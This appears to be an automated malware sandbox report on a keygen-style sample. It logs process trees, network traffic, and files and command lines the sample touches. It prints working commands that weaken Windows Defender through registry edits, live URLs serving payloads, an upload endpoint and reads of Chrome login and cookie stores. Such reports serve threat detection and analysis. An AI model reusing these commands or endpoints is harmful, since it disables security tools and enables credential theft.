Category | Machine | Started | Completed |
---|---|---|---|
FILE | s1_win7_x6403_us | Aug. 17, 2024, 10:11 p.m. | Aug. 17, 2024, 10:14 p.m. |
-
-
acFYONjqGQhfMgmKNG1gZnmY.exe "C:\Users\test22\Pictures\acFYONjqGQhfMgmKNG1gZnmY.exe"
2624 -
-
-
control.exe "C:\Windows\System32\control.exe" "C:\Users\test22\AppData\Local\Temp\RarSFX0\keygen-step-2.cpl",
3056-
rundll32.exe "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL "C:\Users\test22\AppData\Local\Temp\RarSFX0\keygen-step-2.cpl",
744-
rundll32.exe "C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 "C:\Users\test22\AppData\Local\Temp\RarSFX0\keygen-step-2.cpl",
2164
-
-
-
-
-
z7sqTTpo7jhmcMDp0blbc6Qe.exe "C:\Users\test22\Pictures\z7sqTTpo7jhmcMDp0blbc6Qe.exe"
2632 -
-
-
-
cmd.exe "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
3000-
forfiles.exe forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
412 -
forfiles.exe forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
2448 -
forfiles.exe forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
2720 -
forfiles.exe forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
3040 -
forfiles.exe forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
2344-
-
-
gpupdate.exe "C:\Windows\system32\gpupdate.exe" /force
2128
-
-
-
-
-
-
-
-
-
explorer.exe C:\Windows\Explorer.EXE
1236
Name | Response | Post-Analysis Lookup |
---|---|---|
58yongzhe.com | 62.133.62.93 | |
yip.su | 104.21.79.77 | |
pastebin.com | 172.67.19.24 | |
cdn.discordapp.com | 162.159.133.233 | |
tvezx20pt.top | 77.232.42.234 |
Suricata Alerts
Suricata TLS
Flow | Issuer | Subject | Fingerprint |
---|---|---|---|
TLS 1.2 192.168.56.103:49163 172.67.19.24:443 |
C=US, O=Google Trust Services, CN=WE1 | CN=pastebin.com | e3:4a:2e:16:cc:2b:72:f6:c5:22:3e:52:49:b3:50:2a:1b:85:6f:8b |
TLS 1.2 192.168.56.103:49164 104.21.79.77:443 |
C=US, O=Google Trust Services, CN=WE1 | CN=yip.su | 54:c6:bc:0e:e6:b0:fd:78:5e:b0:5a:18:c6:42:6a:44:fc:cc:b3:ca |
TLS 1.2 192.168.56.103:49166 172.67.19.24:443 |
None | None | None |
TLS 1.2 192.168.56.103:49169 104.21.79.77:443 |
C=US, O=Google Trust Services, CN=WE1 | CN=yip.su | 54:c6:bc:0e:e6:b0:fd:78:5e:b0:5a:18:c6:42:6a:44:fc:cc:b3:ca |
TLS 1.2 192.168.56.103:49172 162.159.135.233:443 |
C=US, O=Cloudflare, Inc., CN=Cloudflare Inc ECC CA-3 | C=US, ST=California, L=San Francisco, O=Cloudflare, Inc., CN=discordapp.com | 97:8b:ee:ad:1e:bf:a1:69:e7:94:29:f7:55:7a:29:64:19:c7:81:39 |
registry | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid |
registry | HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome |
suspicious_features | GET method with no useragent header, Connection to IP address | suspicious_request | GET http://91.121.59.207/Files/Channel1.exe | ||||||
suspicious_features | GET method with no useragent header, Connection to IP address | suspicious_request | GET http://194.58.114.223/d/385104 | ||||||
suspicious_features | GET method with no useragent header, Connection to IP address | suspicious_request | GET http://91.121.59.207/Files/6ec431703915b7c3a66be6ef8e2bf8f9.exe | ||||||
suspicious_features | GET method with no useragent header | suspicious_request | GET http://58yongzhe.com/parts/setup1.exe | ||||||
suspicious_features | POST method with no referer header | suspicious_request | POST http://tvezx20pt.top/v1/upload.php | ||||||
suspicious_features | GET method with no useragent header | suspicious_request | GET https://pastebin.com/raw/E0rY26ni | ||||||
suspicious_features | GET method with no useragent header | suspicious_request | GET https://yip.su/RNWPd.exe | ||||||
suspicious_features | GET method with no useragent header | suspicious_request | GET https://cdn.discordapp.com/attachments/1272578305203110022/1274336696627892317/setup.exe?ex=66c1e208&is=66c09088&hm=d301fab09c009c8ddf7bbdaccf84e9e284b1d644909338534cae1eab5b7ee0ef& |
request | GET http://91.121.59.207/Files/Channel1.exe |
request | GET http://194.58.114.223/d/385104 |
request | GET http://91.121.59.207/Files/6ec431703915b7c3a66be6ef8e2bf8f9.exe |
request | GET http://58yongzhe.com/parts/setup1.exe |
request | POST http://tvezx20pt.top/v1/upload.php |
request | GET https://pastebin.com/raw/E0rY26ni |
request | GET https://yip.su/RNWPd.exe |
request | GET https://cdn.discordapp.com/attachments/1272578305203110022/1274336696627892317/setup.exe?ex=66c1e208&is=66c09088&hm=d301fab09c009c8ddf7bbdaccf84e9e284b1d644909338534cae1eab5b7ee0ef& |
request | POST http://tvezx20pt.top/v1/upload.php |
domain | yip.su | description | Soviet Union domain TLD | ||||||
domain | tvezx20pt.top | description | Generic top level domain TLD |
file | C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Web Data |
file | C:\Users\test22\AppData\Local\Google\Chrome\User Data\Local State |
file | C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Login Data |
file | C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Cookies |
file | C:\Users\test22\Pictures\bY1WXV8eleObWNCtpR7Kl9vV.exe |
file | C:\Users\test22\Pictures\vgdyfc1VcBsqmc2SsNuc62Y1.exe |
file | C:\Users\test22\AppData\Local\Temp\7zSAEE3.tmp\Install.exe |
file | C:\Users\test22\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CTmGnZQw0rXprS4H71WQdxSN.bat |
file | C:\Users\test22\AppData\Local\AifQv9TpJ5Dy29odoDQQZg7B.exe |
file | C:\Users\test22\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\4Ros4JuAPsw2Ks71Cb0ofjym.bat |
file | C:\Users\test22\AppData\Local\4OEqWH3hDrzeNsObqsYfQVGW.exe |
file | C:\Users\test22\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\KFmeQ7Y2qNuXg7CJhoe0Mf5q.bat |
file | C:\Users\test22\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\AOgSI6AiHrwEcKm36yPe6WQ7.bat |
file | C:\Users\test22\AppData\Local\Temp\RarSFX0\keygen-step-2.cpl |
file | C:\Users\test22\AppData\Local\Temp\RarSFX0\keygen.bat |
file | C:\Users\test22\AppData\Local\Temp\7zSA936.tmp\Install.exe |
file | C:\Users\test22\AppData\Local\hr9qGOZT8583WUDCVOpNBgcR.exe |
file | C:\Users\test22\Pictures\z7sqTTpo7jhmcMDp0blbc6Qe.exe |
file | C:\Users\test22\AppData\Local\66wslyB2Hm9itKBJVDsD5Pzg.exe |
file | C:\Users\test22\Pictures\acFYONjqGQhfMgmKNG1gZnmY.exe |
file | C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk |
cmdline | powershell start-process -WindowStyle Hidden gpupdate.exe /force |
cmdline | cmd /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force" |
cmdline | forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force" |
cmdline | "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force" |
cmdline | /C powershell start-process -WindowStyle Hidden gpupdate.exe /force |
file | C:\Users\test22\Pictures\acFYONjqGQhfMgmKNG1gZnmY.exe |
file | C:\Users\test22\Pictures\vgdyfc1VcBsqmc2SsNuc62Y1.exe |
file | C:\Users\test22\Pictures\z7sqTTpo7jhmcMDp0blbc6Qe.exe |
file | C:\Users\test22\Pictures\bY1WXV8eleObWNCtpR7Kl9vV.exe |
file | C:\Users\test22\AppData\Local\Temp\RarSFX0\keygen.bat |
file | C:\Users\test22\AppData\Local\Temp\RarSFX0\keygen-step-2.cpl |
file | C:\Users\test22\AppData\Local\Temp\RarSFX0\keygen-step-2.cpl |
wmi | <INVALID POINTER> |